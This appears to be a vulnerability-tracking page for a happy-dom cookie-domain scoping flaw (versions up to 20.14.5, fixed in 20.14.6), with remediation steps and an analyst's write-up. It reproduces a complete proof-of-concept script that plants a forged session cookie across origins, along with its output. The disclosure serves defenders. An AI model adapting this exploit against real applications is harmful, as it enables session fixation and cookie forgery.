Live › vulnerability › CVE-2026-118661
Go to dashboardhappy-dom matches a cookie's Domain attribute by plain string suffix, so Domain=example.com also matches notexample.com, and a cookie set by one origin can be sent to another. An attacker who can make the app fetch attacker-controlled content can plant cookies that the app then sends to its own origin.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 21:07 UTC, 0h before NVD. All times on this page are UTC.
Only projects that use happy-dom at runtime and rely on its cookie handling, such as SSR or prerendering that fetches third-party resources. Use as a test DOM with no untrusted fetches is much less exposed. The sources do not describe a specific exploitable app pattern beyond this.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| happy-dom | npm | <= 20.14.5 | 20.14.6 |
node --version and npm ls happy-dom to find the installed happy-dom versionhappy-dom and check whether it is used in SSR, prerender or scraping code that handles cookieshappy-dom to 20.14.6 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
Run:
node poc-happydom-cookie-domain.js
Full proof-of-concept source (poc-happydom-cookie-domain.js):
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');
const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost
let victimReceivedCookies = [];
let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;
const attacker = http.createServer((req, res) => {
if (req.method === 'OPTIONS') {
// CORS preflight (happy-dom enforces same-origin policy with a preflight; the
// attacker trivially answers it — an attacker-controlled server always can)
res.writeHead(204, {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, OPTIONS',
'Access-Control-Allow-Headers': '*'
});
res.end();
return;
}
res.writeHead(200, {
'content-type': 'image/gif',
'Access-Control-Allow-Origin': '*',
// Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
// A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
// the request-host; localhost is also on the Mozilla PSL).
'Set-Cookie': attackerSetCookie
});
res.end('GIF89a');
});
const victim = http.createServer((req, res) => {
victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ ok: true, user: 'alice' }));
});
function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }
async function runScenario(scenario) {
victimReceivedCookies = [];
const win = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: {
enableJavaScriptEvaluation: true,
suppressInsecureJavaScriptEnvironmentWarning: true
}
});
try {
if (scenario === 'no-plant-control') {
// Control: app NEVER contacts attacker -> victim must receive NO cookie
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else if (scenario === 'honest-domain-control') {
// Control: attacker sets Domain=127.0.0.1 (its own host, honest)
// -> cookie must NOT leak to localhost victim
attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else {
// attack: app fetches attacker content (scraping/SSR/third-party resource)
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
}
await sleep(150);
return victimReceivedCookies;
} finally {
win.happyDOM.abort();
}
}
async function main() {
await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));
console.log('=== happy-dom cookie-domain scoping PoC ===\n');
const attack = await runScenario('attack');
console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);
const noPlant = await runScenario('no-plant-control');
console.log('\n[CONTROL] app never contacts attacker');
noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
const honest = await runScenario('honest-domain-control');
console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
// unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
const win2 = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
});
win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
const readBack = win2.document.cookie;
console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
win2.happyDOM.abort();
// unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
const matchesBoundary = CookieURLUtility.cookieMatchesURL(
{ key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
new URL('https://notexample.com/')
);
console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);
attacker.close();
victim.close();
process.exit(0);
}
main().catch((e) => { console.error(e); process.exit(1); });
Observed output (verbatim, Node 24.15.0, Windows):
[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
-> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match
Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
This page as .md · .json · in your agent: get_signal("CVE-2026-118661")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.